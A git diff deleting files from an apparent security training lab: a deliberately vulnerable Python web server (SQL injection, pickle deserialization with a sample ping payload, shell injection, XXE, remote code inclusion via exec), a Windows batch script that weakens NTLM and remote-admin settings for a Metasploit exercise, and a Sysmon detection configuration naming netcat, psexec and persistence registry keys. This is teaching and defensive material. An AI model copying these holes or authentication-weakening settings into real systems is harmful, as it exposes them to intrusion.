"/?object=cos%%0Asystem%%0A(S%%27%s%%27%%0AtR.%%0A\" onclick=\"alert('checking if arbitrary code can be executed remotely (true in case of delayed response)')" % urllib.parse.quote("ping -c 5 127.0.0.1" if os.name != "nt" else "ping -n 5 127.0.0.1"), "https://www.cs.uic.edu/~s/musings/pickle.html")) - -def init(): - global connection - http.server.HTTPServer.allow_reuse_address = True - connection = sqlite3.connect(":memory:", isolation_level=None, check_same_thread=False) - cursor = connection.cursor() - cursor.execute("CREATE TABLE users(id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, name TEXT, surname TEXT, password TEXT)") - cursor.executemany("INSERT INTO users(id, username, name, surname, password) VALUES(NULL, ?, ?, ?, ?)", ((_.findtext("username"), _.findtext("name"), _.findtext("surname"), _.findtext("password")) for _ in xml.etree.ElementTree.fromstring(USERS_XML).findall("user"))) - cursor.execute("CREATE TABLE comments(id INTEGER PRIMARY KEY AUTOINCREMENT, comment TEXT, time TEXT)") - -class ReqHandler(http.server.BaseHTTPRequestHandler): - def do_GET(self): - path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "") - code, content, params, cursor = http.client.OK, HTML_PREFIX, dict((match.group("parameter"), urllib.parse.unquote(','.join(re.findall(r"(?:\A|[?&])%s=([^&]+)" % match.group("parameter"), query)))) for match in re.finditer(r"((\A|[?&])(?P[\w\[\]]+)=)([^&]+)", query)), connection.cursor() - try: - if path == '/': - if "id" in params: - cursor.execute("SELECT id, username, name, surname FROM users WHERE id=" + params["id"]) - content += "
Result(s):
%s
idusernamenamesurname
%s" % ("".join("%s" % "".join("%s" % ("-" if _ is None else _) for _ in row) for row in cursor.fetchall()), HTML_POSTFIX) - elif "v" in params: - content += re.sub(r"(v)[^<]+()", r"\g<1>%s\g<2>" % params["v"], HTML_POSTFIX) - elif "object" in params: - content = str(pickle.loads(params["object"].encode())) - elif "path" in params: - content = (open(os.path.abspath(params["path"]), "rb") if not "://" in params["path"] else urllib.request.urlopen(params["path"])).read().decode() - elif "domain" in params: - content = subprocess.check_output("nslookup " + params["domain"], shell=True, stderr=subprocess.STDOUT, stdin=subprocess.PIPE).decode() - elif "xml" in params: - content = lxml.etree.tostring(lxml.etree.parse(io.BytesIO(params["xml"].encode()), lxml.etree.XMLParser(no_network=False)), pretty_print=True).decode() - elif "name" in params: - found = lxml.etree.parse(io.BytesIO(USERS_XML.encode())).xpath(".//user[name/text()='%s']" % params["name"]) - content += "Surname: %s%s" % (found[-1].find("surname").text if found else "-", HTML_POSTFIX) - elif "size" in params: - start, _ = time.time(), "
".join("#" * int(params["size"]) for _ in range(int(params["size"]))) - content += "Time required (to 'resize image' to %dx%d): %.6f seconds%s" % (int(params["size"]), int(params["size"]), time.time() - start, HTML_POSTFIX) - elif "comment" in params or query == "comment=": - if "comment" in params: - cursor.execute("INSERT INTO comments VALUES(NULL, '%s', '%s')" % (params["comment"], time.ctime())) - content += "Thank you for leaving the comment. Please click here here to see all comments%s" % HTML_POSTFIX - else: - cursor.execute("SELECT id, comment, time FROM comments") - content += "
Comment(s):
%s
idcommenttime
%s" % ("".join("%s" % "".join("%s" % ("-" if _ is None else _) for _ in row) for row in cursor.fetchall()), HTML_POSTFIX) - elif "include" in params: - backup, sys.stdout, program, envs = sys.stdout, io.StringIO(), (open(params["include"], "rb") if not "://" in params["include"] else urllib.request.urlopen(params["include"])).read(), {"DOCUMENT_ROOT": os.getcwd(), "HTTP_USER_AGENT": self.headers.get("User-Agent"), "REMOTE_ADDR": self.client_address[0], "REMOTE_PORT": self.client_address[1], "PATH": path, "QUERY_STRING": query} - exec(program, envs) - content += sys.stdout.getvalue() - sys.stdout = backup - elif "redir" in params: - content = content.replace("", "" % params["redir"]) - if HTML_PREFIX in content and HTML_POSTFIX not in content: - content += "
Attacks:
\n
    %s\n
\n" % ("".join("\n%s - vulnerable|exploit|info" % (" class=\"disabled\" title=\"module 'python-lxml' not installed\"" if ("lxml.etree" not in sys.modules and any(_ in case[0].upper() for _ in ("XML", "XPATH"))) else "", case[0], case[1], case[2], case[3]) for case in CASES)).replace("vulnerable|", "-|") - elif path == "/users.json": - content = "%s%s%s" % ("" if not "callback" in params else "%s(" % params["callback"], json.dumps(dict((_.findtext("username"), _.findtext("surname")) for _ in xml.etree.ElementTree.fromstring(USERS_XML).findall("user"))), "" if not "callback" in params else ")") - elif path == "/login": - cursor.execute("SELECT * FROM users WHERE username='" + re.sub(r"[^\w]", "", params.get("username", "")) + "' AND password='" + params.get("password", "") + "'") - content += "Welcome %s" % (re.sub(r"[^\w]", "", params.get("username", "")), "".join(random.sample(string.ascii_letters + string.digits, 20))) if cursor.fetchall() else "The username and/or password is incorrect" - else: - code = http.client.NOT_FOUND - except Exception as ex: - content = ex.output if isinstance(ex, subprocess.CalledProcessError) else traceback.format_exc() - code = http.client.INTERNAL_SERVER_ERROR - finally: - self.send_response(code) - self.send_header("Connection", "close") - self.send_header("X-XSS-Protection", "0") - self.send_header("Content-Type", "%s%s" % ("text/html" if content.startswith("") else "text/plain", "; charset=%s" % params.get("charset", "utf8"))) - self.end_headers() - self.wfile.write(("%s%s" % (content, HTML_POSTFIX if HTML_PREFIX in content and GITHUB not in content else "")).encode()) - self.wfile.flush() - -class ThreadingServer(socketserver.ThreadingMixIn, http.server.HTTPServer): - def server_bind(self): - self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - http.server.HTTPServer.server_bind(self) - -if __name__ == "__main__": - init() - print("%s #v%s\n by: %s\n\n[i] running HTTP server at 'http://%s:%d'..." % (NAME, VERSION, AUTHOR, LISTEN_ADDRESS, LISTEN_PORT)) - try: - ThreadingServer((LISTEN_ADDRESS, LISTEN_PORT), ReqHandler).serve_forever() - except KeyboardInterrupt: - pass - except Exception as ex: - print("[x] exception occurred ('%s')" % ex) - finally: - os._exit(0) diff --git a/labupdate_pull.bat b/labupdate_pull.bat deleted file mode 100644 index 649c2209..00000000 --- a/labupdate_pull.bat +++ /dev/null @@ -1,3 +0,0 @@ -@ECHO OFF -git pull -exit \ No newline at end of file diff --git a/nc.7z b/nc.7z deleted file mode 100644 index 4bf4dfa0..00000000 Binary files a/nc.7z and /dev/null differ diff --git a/netcommands.PNG b/netcommands.PNG deleted file mode 100644 index 43746c94..00000000 Binary files a/netcommands.PNG and /dev/null differ diff --git a/smb.bat b/smb.bat deleted file mode 100644 index cd935614..00000000 --- a/smb.bat +++ /dev/null @@ -1,132 +0,0 @@ -@echo off - - -echo 504msf_exercise.bat -echo. -echo This script will start the lanmanserver service if it is not already running, and change the value of the following registry keys: -echo hklm\software\microsoft\windows\currentversion\policies\system\LocalAccountTokenFilterPolicy = 1 -echo hklm\system\currentcontrolset\control\lsa\ForceGuest = 0 -echo hklm\system\currentcontrolset\control\lsa\LmCompatibilityLevel = 0 -echo. -echo This script will also create a script on your Desktop called 504msf_restore.bat that will restore each setting to its original value. -echo. -echo Is it okay to proceed? -pause -echo. - - -REM Create beginning of restore script (if "." is passed, script will be created in current directory instead of Desktop) -if [%1]==[.] ( - set RESTOREFILE=.\504msf_restore.bat -) else ( - set RESTOREFILE=%USERPROFILE%\Desktop\504msf_restore.bat -) -if exist "%RESTOREFILE%" ( - echo. - echo The 504msf_restore.bat file already exists. Please run it and then delete it before running this script again so that you don't lose your original settings! - pause - exit /B 1 -) -echo @echo off > "%RESTOREFILE%" -echo at ^> nul >> "%RESTOREFILE%" -echo if %%ERRORLEVEL%% NEQ 0 ( >> "%RESTOREFILE%" -echo echo Please run this script with elevated privileges! >> "%RESTOREFILE%" -echo pause >> "%RESTOREFILE%" -echo exit /B 1 >> "%RESTOREFILE%" -echo ) >> "%RESTOREFILE%" -echo echo 504msf_restore.bat >> "%RESTOREFILE%" -echo echo. >> "%RESTOREFILE%" -echo echo This script will revert the system settings changed by 504msf_exercise.bat back to their original settings on this system. >> "%RESTOREFILE%" -echo echo. >> "%RESTOREFILE%" -echo echo Is it okay to proceed? >> "%RESTOREFILE%" -echo pause >> "%RESTOREFILE%" -echo echo. >> "%RESTOREFILE%" - - -REM Start the lanmanserver service if it isn't working -sc query lanmanserver | findstr RUNNING >nul -if %ERRORLEVEL% EQU 1 ( - echo Running: sc start lanmanserver - sc start lanmanserver - echo. - echo echo Running: sc stop lanmanserver >> "%RESTOREFILE%" - echo sc stop lanmanserver >> "%RESTOREFILE%" - echo echo. >> "%RESTOREFILE%" -) - -REM Global findstr command (used in all subsequent reg queries) -set fnd=findstr /I /L /C:"REG_DWORD" - -REM TokenFilter check -set qry=reg query "hklm\software\microsoft\windows\currentversion\policies\system" /v LocalAccountTokenFilterPolicy -%qry% >nul 2>nul -if %ERRORLEVEL% EQU 1 (set TOKENFILTER=DELME) else ( -for /f "Tokens=2*" %%a in ('%qry%^|%fnd%') do ( - @set TOKENFILTER=%%b -) -) -echo Running: reg add hklm\software\microsoft\windows\currentversion\policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f -reg add hklm\software\microsoft\windows\currentversion\policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f -echo. -if %TOKENFILTER%==DELME ( - echo echo Running: reg delete hklm\software\microsoft\windows\currentversion\policies\system /v LocalAccountTokenFilterPolicy /f >> "%RESTOREFILE%" - echo reg delete hklm\software\microsoft\windows\currentversion\policies\system /v LocalAccountTokenFilterPolicy /f >> "%RESTOREFILE%" - echo echo. >> "%RESTOREFILE%" -) else ( - echo echo Running: reg add hklm\software\microsoft\windows\currentversion\policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d %TOKENFILTER% /f >> "%RESTOREFILE%" - echo reg add hklm\software\microsoft\windows\currentversion\policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d %TOKENFILTER% /f >> "%RESTOREFILE%" - echo echo. >> "%RESTOREFILE%" -) - - -REM ForceGuest check -set qry=reg query "HKLM\System\CurrentControlSet\Control\Lsa" /v ForceGuest -%qry% >nul 2>nul -if %ERRORLEVEL% EQU 1 (set FORCEGUEST=DELME) else ( -for /f "Tokens=2*" %%a in ('%qry%^|%fnd%') do ( - @set FORCEGUEST=%%b -) -) -echo Running: reg add hklm\system\currentcontrolset\control\lsa /v ForceGuest /t REG_DWORD /d 0 /f -reg add hklm\system\currentcontrolset\control\lsa /v ForceGuest /t REG_DWORD /d 0 /f -echo. -if %FORCEGUEST%==DELME ( - echo echo Running: reg delete hklm\system\currentcontrolset\control\lsa /v ForceGuest /f >> "%RESTOREFILE%" - echo reg delete hklm\system\currentcontrolset\control\lsa /v ForceGuest /f >> "%RESTOREFILE%" - echo echo. >> "%RESTOREFILE%" -) else ( - echo echo Running: reg add hklm\system\currentcontrolset\control\lsa /v ForceGuest /t REG_DWORD /d %FORCEGUEST% /f >> "%RESTOREFILE%" - echo reg add hklm\system\currentcontrolset\control\lsa /v ForceGuest /t REG_DWORD /d %FORCEGUEST% /f >> "%RESTOREFILE%" - echo echo. >> "%RESTOREFILE%" -) - - -REM LmCompatibilityLevel check -set qry=reg query "HKLM\System\CurrentControlSet\Control\Lsa" /v LmCompatibilityLevel -%qry% >nul 2>nul -if %ERRORLEVEL% EQU 1 (set LMCOMPAT=DELME) else ( -for /f "Tokens=2*" %%a in ('%qry%^|%fnd%') do ( - @set LMCOMPAT=%%b -) -) -echo Running: reg add hklm\system\currentcontrolset\control\lsa /v LmCompatibilityLevel /t REG_DWORD /d 0 /f -reg add hklm\system\currentcontrolset\control\lsa /v LmCompatibilityLevel /t REG_DWORD /d 0 /f -echo. -if %LMCOMPAT%==DELME ( - echo echo Running: reg delete hklm\system\currentcontrolset\control\lsa /v LmCompatibilityLevel /f >> "%RESTOREFILE%" - echo reg delete hklm\system\currentcontrolset\control\lsa /v LmCompatibilityLevel /f >> "%RESTOREFILE%" - echo echo. >> "%RESTOREFILE%" -) else ( - echo echo Running: reg add hklm\system\currentcontrolset\control\lsa /v LmCompatibilityLevel /t REG_DWORD /d %LMCOMPAT% /f >> "%RESTOREFILE%" - echo reg add hklm\system\currentcontrolset\control\lsa /v LmCompatibilityLevel /t REG_DWORD /d %LMCOMPAT% /f >> "%RESTOREFILE%" - echo echo. >> "%RESTOREFILE%" -) - - -echo Finished! -echo. -pause - -echo echo Finished! >> "%RESTOREFILE%" -echo echo. >> "%RESTOREFILE%" -echo pause >> "%RESTOREFILE%" \ No newline at end of file diff --git a/sysmonconfig-export.xml b/sysmonconfig-export.xml deleted file mode 100644 index f6688b3f..00000000 --- a/sysmonconfig-export.xml +++ /dev/null @@ -1,1072 +0,0 @@ - - - - - md5,sha256,IMPHASH - - - - - - - - - - - - - - - - "C:\Windows\system32\wermgr.exe" "-queuereporting_svc" - C:\Windows\system32\DllHost.exe /Processid - C:\Windows\system32\wbem\wmiprvse.exe -Embedding - C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding - C:\Windows\system32\wermgr.exe -upload - C:\Windows\system32\SearchIndexer.exe /Embedding - C:\windows\system32\wermgr.exe -queuereporting - \??\C:\Windows\system32\autochk.exe * - \SystemRoot\System32\smss.exe - C:\Windows\System32\RuntimeBroker.exe -Embedding - C:\Program Files (x86)\Common Files\microsoft shared\ink\TabTip32.exe - C:\Windows\System32\TokenBrokerCookies.exe - C:\Windows\System32\plasrv.exe - C:\Windows\System32\wifitask.exe - C:\Windows\system32\CompatTelRunner.exe - C:\Windows\system32\PrintIsolationHost.exe - C:\Windows\system32\SppExtComObj.Exe - C:\Windows\system32\audiodg.exe - C:\Windows\system32\conhost.exe - C:\Windows\system32\mobsync.exe - C:\Windows\system32\musNotification.exe - C:\Windows\system32\musNotificationUx.exe - C:\Windows\system32\powercfg.exe - C:\Windows\system32\sndVol.exe - C:\Windows\system32\sppsvc.exe - C:\Windows\system32\wbem\WmiApSrv.exe - AppContainer - %%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows - C:\windows\system32\wermgr.exe -queuereporting - C:\WINDOWS\system32\devicecensus.exe UserCxt - C:\Windows\System32\usocoreworker.exe -Embedding - C:\Windows\system32\SearchIndexer.exe - - C:\Windows\system32\svchost.exe -k appmodel -s StateRepository - C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc - C:\Windows\system32\svchost.exe -k appmodel - C:\Windows\system32\svchost.exe -k appmodel -p -s tiledatamodelsvc - C:\Windows\system32\svchost.exe -k camera -s FrameServer - C:\Windows\system32\svchost.exe -k dcomlaunch -s LSM - C:\Windows\system32\svchost.exe -k dcomlaunch -s PlugPlay - C:\Windows\system32\svchost.exe -k defragsvc - C:\Windows\system32\svchost.exe -k devicesflow -s DevicesFlowUserSvc - C:\Windows\system32\svchost.exe -k imgsvc - C:\Windows\system32\svchost.exe -k localService -s EventSystem - C:\Windows\system32\svchost.exe -k localService -s bthserv - C:\Windows\system32\svchost.exe -k LocalService -p -s BthAvctpSvc - C:\Windows\system32\svchost.exe -k localService -s nsi - C:\Windows\system32\svchost.exe -k localService -s w32Time - C:\Windows\system32\svchost.exe -k localServiceAndNoImpersonation - C:\Windows\system32\svchost.exe -k localServiceNetworkRestricted -s Dhcp - C:\Windows\system32\svchost.exe -k localServiceNetworkRestricted -s EventLog - C:\Windows\system32\svchost.exe -k localServiceNetworkRestricted -s TimeBrokerSvc - C:\Windows\system32\svchost.exe -k localServiceNetworkRestricted -s WFDSConMgrSvc - C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -s BTAGService - C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService - C:\Windows\system32\svchost.exe -k localServiceNetworkRestricted - C:\Windows\system32\svchost.exe -k localServiceAndNoImpersonation -s SensrSvc - C:\Windows\system32\svchost.exe -k localServiceAndNoImpersonation -p -s SSDPSRV - C:\Windows\system32\svchost.exe -k localServiceNoNetwork - C:\Windows\system32\svchost.exe -k localSystemNetworkRestricted -p -s WPDBusEnum - C:\Windows\system32\svchost.exe -k localSystemNetworkRestricted -p -s fhsvc - C:\Windows\system32\svchost.exe -k localSystemNetworkRestricted -s DeviceAssociationService - C:\Windows\system32\svchost.exe -k localSystemNetworkRestricted -s NcbService - C:\Windows\system32\svchost.exe -k localSystemNetworkRestricted -s SensorService - C:\Windows\system32\svchost.exe -k localSystemNetworkRestricted -s TabletInputService - C:\Windows\system32\svchost.exe -k localSystemNetworkRestricted -s UmRdpService - C:\Windows\system32\svchost.exe -k localSystemNetworkRestricted -s WPDBusEnum - C:\Windows\system32\svchost.exe -k localSystemNetworkRestricted -p -s NgcSvc - C:\Windows\system32\svchost.exe -k localServiceNetworkRestricted -p -s NgcCtnrSvc - C:\Windows\system32\svchost.exe -k localServiceAndNoImpersonation -s SCardSvr - C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv - C:\Windows\System32\svchost.exe -k netsvcs -p -s SessionEnv - C:\Windows\system32\svchost.exe -k localSystemNetworkRestricted -s WdiSystemHost - C:\Windows\System32\svchost.exe -k localSystemNetworkRestricted -p -s WdiSystemHost - C:\Windows\system32\svchost.exe -k localSystemNetworkRestricted - C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc - C:\Windows\system32\svchost.exe -k netsvcs -p -s ncaSvc - C:\Windows\system32\svchost.exe -k netsvcs -s BDESVC - C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC - C:\Windows\system32\svchost.exe -k netsvcs -p -s BITS - C:\Windows\system32\svchost.exe -k netsvcs -s BITS - C:\Windows\system32\svchost.exe -k netsvcs -s CertPropSvc - C:\Windows\system32\svchost.exe -k netsvcs -s DsmSvc - C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo - C:\Windows\system32\svchost.exe -k netsvcs -s Gpsvc - C:\Windows\system32\svchost.exe -k netsvcs -s ProfSvc - C:\Windows\system32\svchost.exe -k netsvcs -s SENS - C:\Windows\system32\svchost.exe -k netsvcs -s SessionEnv - C:\Windows\system32\svchost.exe -k netsvcs -s Themes - C:\Windows\system32\svchost.exe -k netsvcs -s Winmgmt - C:\Windows\system32\svchost.exe -k netsvcs - C:\Windows\system32\svchost.exe -k networkService -p -s DoSvc - C:\Windows\system32\svchost.exe -k networkService -s Dnscache - C:\Windows\system32\svchost.exe -k networkService -s LanmanWorkstation - C:\Windows\system32\svchost.exe -k networkService -s NlaSvc - C:\Windows\system32\svchost.exe -k networkService -s TermService - C:\Windows\system32\svchost.exe -k networkService - C:\Windows\system32\svchost.exe -k networkServiceNetworkRestricted - C:\Windows\system32\svchost.exe -k rPCSS - C:\Windows\system32\svchost.exe -k secsvcs - C:\Windows\system32\svchost.exe -k swprv - C:\Windows\system32\svchost.exe -k unistackSvcGroup - C:\Windows\system32\svchost.exe -k utcsvc - C:\Windows\system32\svchost.exe -k wbioSvcGroup - C:\Windows\system32\svchost.exe -k werSvcGroup - C:\Windows\system32\svchost.exe -k wusvcs -p -s WaaSMedicSvc - C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC - C:\Windows\system32\svchost.exe -k wsappx -p -s AppXSvc - C:\Windows\system32\svchost.exe -k wsappx -s ClipSVC - C:\Windows\system32\svchost.exe -k wsappx - C:\Windows\system32\svchost.exe -k netsvcs - C:\Windows\system32\svchost.exe -k localSystemNetworkRestricted - C:\Windows\system32\deviceenroller.exe /c /AutoEnrollMDM - - "C:\Program Files (x86)\Microsoft\Edge Dev\Application\msedge.exe" --type= - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319\Ngen.exe - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - C:\Windows\Microsoft.Net\Framework64\v3.0\WPF\PresentationFontCache.exe - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngentask.exe - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngentask.exe - C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe - - C:\Program Files\Microsoft Office\Office16\MSOSYNC.EXE - C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE - C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE - C:\Program Files\Microsoft Office\Office16\msoia.exe - C:\Program Files (x86)\Microsoft Office\root\Office16\officebackgroundtaskhandler.exe - - C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe - C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe - C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe - - C:\Program Files\Windows Media Player\wmpnscfg.exe - - "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type= - "C:\Program Files\Google\Chrome\Application\chrome.exe" --type= - - - - - - - - - - C:\Users - .exe - \Device\HarddiskVolumeShadowCopy - - - - - - OneDrive.exe - C:\Windows\system32\backgroundTaskHost.exe - setup - install - Update\ - redist.exe - msiexec.exe - TrustedInstaller.exe - - - - - - - - - - - - - - - - - C:\Users - C:\Recycle - C:\ProgramData - C:\Windows\Temp - \ - C:\perflogs - C:\intel - C:\Windows\fonts - C:\Windows\system32\config - - at.exe - certutil.exe - cmd.exe - cmstp.exe - cscript.exe - driverquery.exe - dsquery.exe - hh.exe - infDefaultInstall.exe - java.exe - javaw.exe - javaws.exe - mmc.exe - msbuild.exe - mshta.exe - msiexec.exe - nbtstat.exe - net.exe - net1.exe - notepad.exe - nslookup.exe - powershell.exe - qprocess.exe - qwinsta.exe - qwinsta.exe - reg.exe - regsvcs.exe - regsvr32.exe - rundll32.exe - rwinsta.exe - sc.exe - schtasks.exe - taskkill.exe - tasklist.exe - wmic.exe - wscript.exe - - nc.exe - ncat.exe - psexec.exe - psexesvc.exe - tor.exe - vnc.exe - vncservice.exe - vncviewer.exe - winexesvc.exe - nmap.exe - psinfo.exe - - 22 - 23 - 25 - 143 - 3389 - 5800 - 5900 - 444 - - 1080 - 3128 - 8080 - - 1723 - 9001 - 9030 - - - - - - - C:\ProgramData\Microsoft\Windows Defender\Platform\ - AppData\Local\Microsoft\Teams\current\Teams.exe - .microsoft.com - microsoft.com.akadns.net - microsoft.com.nsatc.net - - 127.0.0.1 - fe80:0:0:0 - - - - - - - - - - - - - - - C:\Users - \ - - - - - - - - - - - - - - - - microsoft - windows - Intel - - - - - - - - - - - - - - - - - - - - - - C:\Windows\system32\wbem\WmiPrvSE.exe - C:\Windows\system32\svchost.exe - C:\Windows\system32\wininit.exe - C:\Windows\system32\csrss.exe - C:\Windows\system32\services.exe - C:\Windows\system32\winlogon.exe - C:\Windows\system32\audiodg.exe - C:\Windows\system32\kernel32.dll - C:\Program Files (x86)\Google\Chrome\Application\chrome.exe - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \Start Menu - \Startup\ - \Content.Outlook\ - \Downloads\ - .application - .appref-ms - .bat - .chm - .cmd - .cmdline - .crx - .dmp - .docm - .dll - .exe - .exe.log - .jar - .jnlp - .jse - .hta - .job - .pptm - .ps1 - .sys - .scr - .vbe - .vbs - .xlsm - proj - .sln - C:\Users\Default - C:\Windows\system32\Drivers - C:\Windows\SysWOW64\Drivers - C:\Windows\system32\GroupPolicy\Machine\Scripts - C:\Windows\system32\GroupPolicy\User\Scripts - C:\Windows\system32\Wbem - C:\Windows\SysWOW64\Wbem - C:\Windows\system32\WindowsPowerShell - C:\Windows\SysWOW64\WindowsPowerShell - C:\Windows\Tasks\ - C:\Windows\system32\Tasks - C:\Windows\SysWOW64\Tasks - \Device\HarddiskVolumeShadowCopy - - C:\Windows\AppPatch\Custom - VirtualStore - - .xls - .ppt - .rtf - - - - - - - C:\Program Files (x86)\EMET 5.5\EMET_Service.exe - - C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe - - C:\Windows\system32\smss.exe - C:\Windows\system32\CompatTelRunner.exe - \\?\C:\Windows\system32\wbem\WMIADAP.EXE - C:\Windows\system32\mobsync.exe - C:\Windows\system32\DriverStore\Temp\ - C:\Windows\system32\wbem\Performance\ - C:\Windows\Installer\ - - C:\$WINDOWS.~BT\Sources\ - C:\Windows\winsxs\amd64_microsoft-windows - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - CurrentVersion\Run - Policies\Explorer\Run - Group Policy\Scripts - Windows\System\Scripts - CurrentVersion\Windows\Load - CurrentVersion\Windows\Run - CurrentVersion\Winlogon\Shell - CurrentVersion\Winlogon\System - HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify - HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell - HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit - HKLM\Software\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32 - HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute - HKLM\Software\Microsoft\Windows NT\CurrentVersion\AeDebug - UserInitMprLogonScript - user shell folders\startup - - \ServiceDll - \ServiceManifest - \ImagePath - \Start - - Control\Terminal Server\WinStations\RDP-Tcp\PortNumber - Control\Terminal Server\fSingleSessionPerUser - fDenyTSConnections - LastLoggedOnUser - RDP-tcp\PortNumber - Services\PortProxy\v4tov4 - - \command\ - \ddeexec\ - {86C86720-42A0-1069-A2E8-08002B30309D} - exefile - - \InprocServer32\(Default) - - \Hidden - \ShowSuperHidden - \HideFileExt - - Classes\*\ - Classes\AllFilesystemObjects\ - Classes\Directory\ - Classes\Drive\ - Classes\Folder\ - Classes\PROTOCOLS\ - ContextMenuHandlers\ - CurrentVersion\Shell - HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\ShellExecuteHooks - HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\ShellServiceObjectDelayLoad - HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\ShellIconOverlayIdentifiers - - HKLM\Software\Microsoft\Windows\CurrentVersion\App Paths\ - - HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\InitialProgram - - HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\ - - HKLM\SYSTEM\CurrentControlSet\Services\WinSock - \ProxyServer - - HKLM\Software\Microsoft\Windows\CurrentVersion\Authentication\Credential Provider - HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ - HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SecurityProviders - HKLM\Software\Microsoft\Netsh - - HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order\ - HKLM\Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles - \EnableFirewall - \DoNotAllowExceptions - HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List - HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List - - HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\Appinit_Dlls\ - HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows\Appinit_Dlls\ - HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDlls\ - - Microsoft\Office\Outlook\Addins\ - Office Test\ - Security\Trusted Documents\TrustRecords - - Internet Explorer\Toolbar\ - Internet Explorer\Extensions\ - Browser Helper Objects\ - \DisableSecuritySettingsCheck - \3\1206 - \3\2500 - \3\1809 - - HKLM\Software\Classes\CLSID\{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}\ - HKLM\Software\Classes\WOW6432Node\CLSID\{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}\ - HKLM\Software\Classes\CLSID\{083863F1-70DE-11d0-BD40-00A0C911CE86}\ - HKLM\Software\Classes\WOW6432Node\CLSID\{083863F1-70DE-11d0-BD40-00A0C911CE86}\ - - \UrlUpdateInfo - \InstallSource - \EulaAccepted - - \DisableAntiSpyware - \DisableAntiVirus - \SpynetReporting - DisableRealtimeMonitoring - \SubmitSamplesConsent - - HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA - HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy - - HKLM\Software\Microsoft\Security Center\ - SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\HideSCAHealth - - HKLM\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom - HKLM\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB - VirtualStore - - HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ - HKLM\Software\Microsoft\Windows\CurrentVersion\WINEVT\ - HKLM\SYSTEM\CurrentControlSet\Control\Safeboot\ - HKLM\SYSTEM\CurrentControlSet\Control\Winlogon\ - \FriendlyName - HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\InProgress\(Default) - HKLM\Software\Microsoft\Tracing\RASAPI32 - - \LowerCaseLongPath - \Publisher - \BinProductVersion - \DriverVersion - \DriverVerVersion - \LinkDate - Compatibility Assistant\Store\ - - \ - - - - - - - - \{CAFEEFAC- - CreateKey - HKLM\COMPONENTS - - HKLM\Software\Microsoft\Windows\CurrentVersion\AppModel\StateRepository\Cache - - Toolbar\WebBrowser - Browser\ITBar7Height - Browser\ITBar7Layout - Internet Explorer\Toolbar\Locked - Toolbar\WebBrowser\{47833539-D0C5-4125-9FA8-0819E2EAAC93} - }\PreviousPolicyAreas - \Control\WMI\Autologger\ - HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc\Start - \Lsa\OfflineJoin\CurrentValue - 